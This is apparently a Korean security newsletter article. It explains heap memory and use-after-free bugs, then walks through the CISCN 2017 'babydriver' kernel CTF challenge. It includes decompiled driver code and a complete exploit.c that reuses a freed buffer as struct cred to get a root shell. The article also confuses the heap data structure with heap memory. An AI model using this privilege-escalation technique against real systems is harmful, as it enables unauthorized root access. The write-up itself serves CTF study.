[5월호] Kernel Use-After-Free

1. 들어가며

5월호의 주제는 Use-After-Free(UAF) 취약점이다. 해당 취약점을 이용한 CTF 문제 풀이 과정을 다룬다. UAF 취약점은 메모리 관리의 부주의로 인해 발생하는 보안 취약점 중 하나로, 해커가 악용할 경우 시스템 권한을 탈취당하거나 악성코드가 실행될 수 있다. 이러한 취약점은 특히 커널과 같은 중요한 시스템 컴포넌트에서 발생할 때 매우 치명적일 수 있다.

해당 글은 CTF 문제를 풀 때 필요한 전반적인 커널 지식과 문제 해결을 위한 접근 방법과 구체적 단계들을 설명한다. 이를 통해 UAF 취약점이 어떻게 악용될 수 있는지, 그리고 이를 방어하기 위한 기법들이 무엇이 될 수 있는지 생각하고 이해할 수 있다.



2. kernel 지식

2.1. Memory Corruption

  • 메모리를 참조하는 부분에서 오류가 발생하는 취약점이다.
  • 공격자는 메모리가 corruption 되는 부분을 이용하여 공격자가 원하는 명령어를 참조하도록 수행이 가능하다.

UAF는 Heap 영역에서 일어나는 취약점이며, Heap은 메모리 영역 중 하나이기 때문에 메모리 구조와 Heap에 대해서 알아야 한다.


2.2. 메모리 구조

  1. Code 영역: 프로그램의 (컴파일된 기계어) 코드가 올라가는 곳이다.

  2. Data 영역: global variable과 static bariable이 할당되는 곳이다.

  3. Stack 영역: local variable과 parameter가 저장되는 곳이다.

    함수가 시작되면 해당 함수의 local variable이 stack에 저장되었다가 함수가 종료되면 해당 영역을 해제시킨다.

  4. Heap 영역: 빈 공간으로, 필요에 따라 동적으로 메모리를 할당하기도 하고 해제하기도 한다.

    Heap 영역은 Stack에서 관리하는 이외의 데이터 형태를 사용하며, 컴파일 시 크기를 알지 못하다가 프로그램이 실행되면 크기가 결정되는 동적 할당 메모리를 받는 데 사용된다.


2.3. Heap

데이터에서 최댓값과 최솟값을 빠르게 찾기 위해 고안된 완전 이진트리이다.

그림 1. https://velog.io/@jsbryan/%ED%9E%99-%EC%B5%9C%EC%86%8C-%ED%9E%99-%EC%B5%9C%EB%8C%80-%ED%9E%99, [이진트리 구조]

그림 1. [이진트리 구조]
https://velog.io/@jsbryan/%ED%9E%99-%EC%B5%9C%EC%86%8C-%ED%9E%99-%EC%B5%9C%EB%8C%80-%ED%9E%99

부모 노드의 인덱스는 1, 왼쪽 자식 노드부터 2, 3 순서이다.

Heap 구조는 위에서 말한대로 컴퓨터 안의 메모리 구조 중 사용자가 임의로 사용하는 메모리 공간으로, 대표적으로 malloc() 함수를 이용해 선언해주고, free() 함수를 통해 해제를 해준다.


2.4. First-Fit Algorithm

UAF에 대해 알기 전 또 알아야 할 것이 바로 First-Fit 알고리즘이다.

First-Fit 알고리즘은 메모리 할당 알고리즘들 중 하나로, 사용 가능한 공간들 중에서 첫번째로 찾아낸 공간을 할당하는 방식이다.

Linux OS는 해당 알고리즘을 채택하고 있다.
이외에도 Best-Fit, Worst-Fit 알고리즘도 존재한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char*a = malloc(20);     // 0xe4b010
char*b = malloc(20); // 0xe4b030
char*c = malloc(20); // 0xe4b050
char*d = malloc(20); // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20); // 0xe4b070
b = malloc(20); // 0xe4b050
c = malloc(20); // 0xe4b030
d = malloc(20); // 0xe4b010

위의 코드는 예시 코드다.

코드를 보면, 각각 20 바이트씩 Heap 영역에 4개의 영역을 할당해 주었고, free를 해준 후 다시 4개의 영역을 할당 받고 있다.

방식은 LIFO(Last In First Out)이다. 과정을 조금 더 설명해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
<free>

head → a → tail
head → b → a → tail
head → c → b → a → tail
head → d → c → b → a → tail

<malloc>

head → c → b → a → tail
head → b → a → tail
head → a → tail
head → tail



3. UAF 취약점

Heap 영역에서 할당된 (malloc) 공간을 free로 영역을 해제하고, 메모리를 다시 할당 시 같은 공간을 재사용 하면서 생기는 취약점이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
int* heap1, *heap2, *heap3;

heap1 = (int*)malloc(4);
*heap1 = 0xcaaaaaaa;

printf("heap1 address: %#x, %#x\n", heap1, *heap1);

free(heap1);

heap2 = (int*)malloc(4);
printf("heap2 address: %#x, %#x\n", heap2, *heap2);

free(heap2);

heap3 = (int*)malloc(1024);

printf("heap3 address: %#x, %#x\n", heap3, *heap3);
return 0;
}

예시 코드를 돌려보면 아래와 같은 결과가 나온다.

그림 2. [Use-After-free 취약점]

그림 2. [Use-After-free 취약점]
  1. heap1을 할당하고 free를 해주고, 다른 변수(heap2)에 같은 크기로 할당하면 다시 그 공간을 재사용하게 된다.
  2. free를 해주어도 그 전에 사용했던 공간에 할당이 가능하다.
  3. 사이즈를 다르게 입력하면 다른 공간에 할당한다.



4. UAF 문제 분석 및 풀이

CISCN CTF 2017에 출제된 babydriver 문제로 UAF가 어떻게 발생하는지 알아보자.


4.1. 디바이스 드라이버

먼저 본격적으로 코드 분석에 앞서, 사전지식으로 알아야 할 게 있다. 바로 디바이스 드라이버라는 것이다.

1. 디바이스 드라이버

키보드, 하드디스크 같은 디바이스들을 컨트롤하는 것이 바로 디바이스 드라이버이다.

디바이스 드라이버란 실제 장치 부분을 추상화시켜 사용자 프로그램이 정형화된 인터페이스를 통해 디바이스를 접근할 수 있도록 하는 프로그램이다. 리눅스에서는 모든 것을 파일로 간주하는데, 이러한 디바이스 드라이버도 파일로 관리된다.

/dev/ 아래에 들어있는 파일들이 바로 디바이스 드라이버 인터페이스고, 하드웨어와는 독립적으로 응용 프로그램이 파일 open, read 같은 함수로 접근이 가능하다.

그림 3. [Device Driver]

그림 3. [Device Driver]
https://jeongzero.oopy.io/c5c9c223-d17f-4bbc-b054-4d9fa1faffd1

Real Device가 실제 물리적인 하드웨어이고, Device Driver를 통해 실제 디바이스를 컨트롤하게 된다. 그러나 장치 별로 제공되는 디바이스 드라이버가 다르기 때문에 리눅스에서는 VFS라는 파일 시스템 기능을 지원한다.

또한 모든 디바이스 드라이버는 /dev 하위에 파일로 취급되고, 위에서 말한 open, read, write 등의 연산을 통해 디바이스를 컨트롤할 수 있다. 이러한 디바이스 파일에게는 고유한 번호와 이름이 할당되어 있다.

2. 디바이스 드라이버 종류

그림 4. [Device Driver 종류]

그림 4. [Device Driver 종류]
https://jeongzero.oopy.io/c5c9c223-d17f-4bbc-b054-4d9fa1faffd1

디바이스 드라이버는 크게 3가지로 나뉜다.

종류 설명 등록 함수 특징
Char device driver device를 파일처럼 접근하여 직접 read/write 수행 register_chrdev() 버퍼 캐시 사용 X, 자료의 순차성을 지님, 터미널, 키보드 사운드 카드, 프린터 등
block device disk와 같은 filesystem을 기반으로 block 단위로 data를 read/write register_blkdev() 블록 단위의 입출력 가능, 버퍼 캐시에 의한 내부 장치 표현, 파일 시스템에 의해 마운트되어 관리됨, 하드디스크 등
network device driver network의 physical layer와 frame 단위의 data 송수신 register_netdev() 네트워크 스택과 네트워크 하드웨어 사이에 위치해 데이터 송수신 담당, 이더넷, 네트워크 인터페이스 카드 등

4.2. setting

babydriver 문제 파일에는 bzImage, rootfs.cpio, boot.sh 파일들이 존재한다.

문제 분석을 위해 다음과 같이 환경을 세팅해주었다.


4.2.1. vmlinux 생성

bzImage를 이용해 vmlinux를 생성한다.
extract-vmlinux 스크립트를 이용하면 vmlinux를 쉽게 추출할 수 있다.
extract-vmlinux 스크립트는 아래 사이트는 참고하였다.
https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

1
./extract-vmlinux bzImage > ./vmlinux 

4.2.2. rootfs.cpio 압축 해제

rootfs.cpio는 압축된 파일 시스템이므로 압축을 풀어서 파일 시스템을 추출한다.

rootfs.gz로 확장자를 변경한 뒤 gzip -d rootfs.gz로 압축을 풀고, cpio -id -v < rootfs.cpio 명령어를 통해 파일 시스템을 추출하였다.

lib/modules/4.4.72에 분석할 커널 모듈인 babydriver.ko가 존재한다.


4.2.3. qemu 설치

boot.sh를 실행시키기 위해 qemu를 설치한다.

분석을 진행한 환경이 x86-64이므로 아래의 명령어를 이용해 qemu를 설치해주었다.

1
apt-get install qemu-system-x86 

4.3. 문제 풀이 및 분석

4.3.1. boot.sh 확인

우선 boot.sh를 살펴보자.

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd ./test/rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

해당 코드를 살펴보면, smep이 걸려있는 걸 알 수 있다. 이는 user 공간에서 kernel 영역의 함수를 실행하지 못하게 하는 보호 기법이다.

kaslr은 걸려있지 않다는 것 또한 확인할 수 있었다.


4.3.2. 문제 풀이 아이디어

boot.sh로 부팅을 하면 ctf 권한을 가진 상태로 부팅이 된다.

그림 5. [boot.sh 실행]

그림 5. [boot.sh 실행]

rootfs/etc 폴더 아래에는 group, init.d, passwd가 존재한다.

그림 6. [rootfs/etc에 존재하는 파일]

그림 6. [rootfs/etc에 존재하는 파일]

그 중 passwd 파일을 살펴보면 root 권한이 존재하는 것을 확인할 수 있었다.

1
2
root:x:0:0:root:/root:/bin/sh
ctf:x:1000:1000:chal:/home/ctf:/bin/sh

ctf 권한을 root 권한으로 LPE(권한 상승) 하는 것이 문제의 목적이다.

이제 커널 모듈을 분석해보자.


4.3.3. babydriver.ko 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl babydriver_init()
{
__int64 v0; // rdx
int v1; // edx
__int64 v2; // rsi
__int64 v3; // rdx
int v4; // ebx
class *v5; // rax
__int64 v6; // rdx
__int64 v7; // rax

if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
v2 = babydev_no;
cdev_0.owner = &_this_module;
v4 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v4 >= 0 )
{
v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v5;
if ( v5 )
{
v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
v1 = 0;
if ( v7 )
return v1;
printk(&unk_351, 0LL, 0LL);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B, "babydev", v6);
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327, v2, v3);
}
unregister_chrdev_region(babydev_no, 1LL);
return v4;
}
printk(&unk_309, 0LL, v0);
return 1;
}

babydriver 커널 모듈을 초기화하는 과정으로, 커널에서 모듈을 불러올 때 가장 먼저 실행되는 함수이다.

alloc_chrdev_region() 함수로 Char Device의 번호를 할당한다.

1
2
3
4
5
6
7
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}

모듈이 종료될 때 호출되는 함수이다.

init() 함수에서 할당한 디바이스를 제거하는 함수다.

1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL, v2);
return 0;
}

open을 하면, 커널에서 동적 할당을 통해 64바이트 만큼 babydev_struct 구조체의 device_buf에 힙을 할당한다.

그리고 babydev_struct 구조체의 device_buf_len 필드에 크기 64를 buf_len 필드에 저장한다.

kmem_cache_alloc_trace() 함수가 바로 동적 할당 함수이다.

babydev 구조체는 아래와 같다.

1
2
3
4
5
struct babydevice_t
{
char *device_buf;
size_t device_buf_len;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

babyread() 함수는 device_buf 필드가 null이면 -1을 반환한다.
length(v4)buf_len을 비교해 buf_len이 더 크면 copy_to_user() 함수를 호출하여 kernel 영역의 테이블을 user 공간인 buffer로 복사한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

read 함수와 마찬가지로 device_bufnull이면 -1을 반환한다.
device_buf_lenv4보다 크면 copy_from_user() 함수를 호출해 user 영역인 buffer 테이블을 kernel 영역으로 복사한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 37748928LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
result = -22LL;
}
return result;
}

2번째 인자 command0x10001(65537)이면 device_buf를 해제(free)하고 3번째 인자(arg(v4))만큼 힙을 재할당하여 초기화한다. 이때 힙 영역은 open 시에 할당 받은 힙 영역이다. buf_len도 마찬가지다.

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}

release() 함수는 close() 함수가 호출될 때 호출된다. device_buf를 해제하지만 해제하면서 초기화 작업을 하지는 않는다.
해제 후 초기화를 안 하기 때문에 UAF가 발생하게 된다.
즉, Dangling Pointer(해제된 메모리 영역을 가리키는 포인터)가 된다.


4.3.4. struct cred 이용

초기 open()ioctl() 시에 cred 구조체 사이즈인 168 바이트를 인자로 전달하여 해당 크기의 청크를 할당받게 한다. 그리고 close()를 하면 168 바이트 힙 청크를 가리키는 전역변수에 들어있는 값은 Dangling Pointer가 된다.

그리고 fork() 함수를 호출하여 fork() 내부에서 힙 할당을 하는 로직을 이용하여 free된 청크(현재 dangling pointer 주소인 청크)를 재할당받는다.

fork에서 힙을 할당받는 로직은 바로 부모의 pcb 정보 중 cred 구조체 필드들을 복사하기 위함이다.

  • danling pointer 만들기
  • fork 통해 dangling pointer를 할당받게 하고 (이는 cred 구조체 영역)
  • 저 영역은 babywrite()를 통해 user 공간의 값을 커널영역으로 복사할 수 있음
  • 즉, fork에서 할당받은 cred 구조체 영역을 수정 가능하단 소리 → uid부분을 0으로 만들 수 있음
  • 그 다음 user 영역에서 시스템 함수를 그냥 실행시키면 LPE가 일어남. (단, 이는 fork한 자식 프로세스 내에서 실행해야 함)

4.3.5. 함수 호출

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#ifdef __ARCH_WANT_SYS_CLONE
#ifdef CONFIG_CLONE_BACKWARDS
SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp,
int __user *, parent_tidptr,
unsigned long, tls,
int __user *, child_tidptr)
#elif defined(CONFIG_CLONE_BACKWARDS2)
SYSCALL_DEFINE5(clone, unsigned long, newsp, unsigned long, clone_flags,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#elif defined(CONFIG_CLONE_BACKWARDS3)
SYSCALL_DEFINE6(clone, unsigned long, clone_flags, unsigned long, newsp,
int, stack_size,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#else
SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#endif
{
return _do_fork(clone_flags, newsp, 0, parent_tidptr, child_tidptr, tls);
}
#endif

권한 상승을 위해 fork() 함수를 호출해야 하는데 이를 호출하면 시스템 콜 clone() 함수를 호출하여 사용 처리가 된다.

clone() 내부에서는 do_fork() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct completion vfork;
struct pid *pid;
struct task_struct *p;
int trace = 0;
long nr;
/*
* Determine whether and which event to report to ptracer. When
* called from kernel_thread or CLONE_UNTRACED is explicitly
* requested, no event is reported; otherwise, report if the event
* for the type of forking is enabled.
*/
if (!(clone_flags & CLONE_UNTRACED)) {
if (clone_flags & CLONE_VFORK)
trace = PTRACE_EVENT_VFORK;
else if ((clone_flags & CSIGNAL) != SIGCHLD)
trace = PTRACE_EVENT_CLONE;
else
trace = PTRACE_EVENT_FORK;
if (likely(!ptrace_event_enabled(current, trace)))
trace = 0;
}
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
if (IS_ERR(p))
return PTR_ERR(p);
...

이는 do_fork() 함수이다. 이 함수에서는 copy_process() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#ifdef CONFIG_PROVE_LOCKING
DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
retval = -EAGAIN;
if (atomic_read(&p->real_cred->user->processes) >=
task_rlimit(p, RLIMIT_NPROC)) {
if (p->real_cred->user != INIT_USER &&
!capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN))
goto bad_fork_free;
}
current->flags &= ~PF_NPROC_EXCEEDED;
retval = copy_creds(p, clone_flags);
if (retval < 0)
goto bad_fork_free;
/*
* If multiple threads are within copy_process(), then this check
* triggers too late. This doesn't hurt, the check is only there
* to stop root fork bombs.
*/
retval = -EAGAIN;
if (nr_threads >= max_threads)
goto bad_fork_cleanup_count;
...

copy_process() 함수이다.

task_struct를 인자로 copy_creds() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
...

copy_creds() 함수이다.

이 함수 내부에서는 prepare_creds() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
...

prepare_creds() 함수 내부에서는 kmem_Cache_alloc() 함수를 호출한다. 위에서부터 함수 내부로 계속해서 들어왔더니 아래의 순서대로 호출된다.

fork()clone()do_fork()copy_process()copy_creds()prepare_creds()kmem_cache_alloc()
`

4.3.6. Exploit

fork() 함수를 호출하면 기존 cred를 복사할 공간이 필요하다.

cred 구조체의 크기는 168 바이트이다.

  1. open() 함수를 2번 호출하여 힙을 할당
  2. babyioctl() 함수를 호출하여 168 바이트 만큼 재할당
  3. close() 함수를 호출하여 힙을 해제(free)
  4. fork() 함수 호출
  5. write() 함수를 호출하여 struct cred 값 변경

3번까지 진행하면 전역변수의 값은 Dangling Pointer가 된다.

그 후 4번을 진행하면 해제 한 힙 영역에 struct cred가 할당되고, Dangling Pointer는 할당된 168 바이트 힙 영역을 가리키게 된다.

5번이 진행되면 write() 함수를 호출하여 struct cred를 0으로 수정 후 system(”/bin/sh”) 함수를 호출하면 root 권한의 쉘을 획득하게 된다.


4.3.7. Exploit code

exploit.c는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#define COMMAND 0x10001

int main()
{
int f1 = open("/dev/babydev", O_RDWR);
int f2 = open("/dev/babydev", O_RDWR);

ioctl(f1, COMMAND, 168);
close(f1);

int pid = fork();

if(pid < 0)
{
printf("ERROR");
exit(-1);
}
else if(pid == 0)
{
char fake_cred[30] = { 0, };

write(f2, fake_cred, 28);
sleep(1);

system("/bin/sh");
exit(0);
}
else
{
wait(0);
}

close(f2);

return 0;
}

익스의 성공 여부를 확인하기 위해 boot.sh 파일을 아래와 같이 수정해주었다.

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

gcc exploit.c -static -o rootfs/exploit

pushd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
popd

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -moni
tor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

./boot.sh를 실행한 뒤, ./exploit을 실행하면 LPE가 성공한 것을 확인할 수 있다.

그림 7. [LPE를 통한 root 권한 획득]

그림 7. [LPE를 통한 root 권한 획득]



5. 마무리하며

이번 CTF 문제를 해결하면서 커널에서 발생하는 Use-After-Free (UAF) 취약점의 심각성과 이를 악용하는 방법에 대해 이해할 수 있었다. 문제 해결 과정에서 메모리 할당 및 해제 관리가 얼마나 중요한지, 그리고 작은 부주의가 어떻게 심각한 보안 위협으로 이어질 수 있는지를 확인할 수 있었다.

앞으로 커널 보안에 대한 깊이 있는 이해를 위해 커널 구조와 메모리 관리, 동기화 메커니즘 등을 심도 있게 공부하며 리눅스 커널 소스 코드를 분석해보는 것도 좋은 방법이 될 수 있다.



6. 참고문헌

[1] [Heap Exploit] UAF(Use After Free) 기법 이론설명. (N.d.).
https://dokhakdubini.tistory.com/35

[2] Use After Free (UAF) 너 뭐임?. (N.d.).
https://seclab614.tistory.com/3

[3] Kernel (6) - CISCN 2017 babydriver write-up (Linux kernel UAF). (N.d.).
https://sunrinjuntae.tistory.com/130

[4] 까망눈 연구소. (N.d.).
https://jeongzero.oopy.io/

[5] [Linux] QEMU 가상머신에 OS 설치하기. (N.d.).
https://stackframe.tistory.com/28

[6] [CISCN CTF 2017] babydriver (kernel exploit, kUAF). (N.d.).
https://koharinn.tistory.com/561#google_vignette

[7] [Linux Kernel] CISCN 2017 babydriver. (N.d.).
https://applemasterz17.tistory.com/229

[8] [CISCN CTF 2017] babydriver. (N.d.).
http://ipwn.kr/index.php/2020/04/05/ciscn-ctf-2017-babydriver/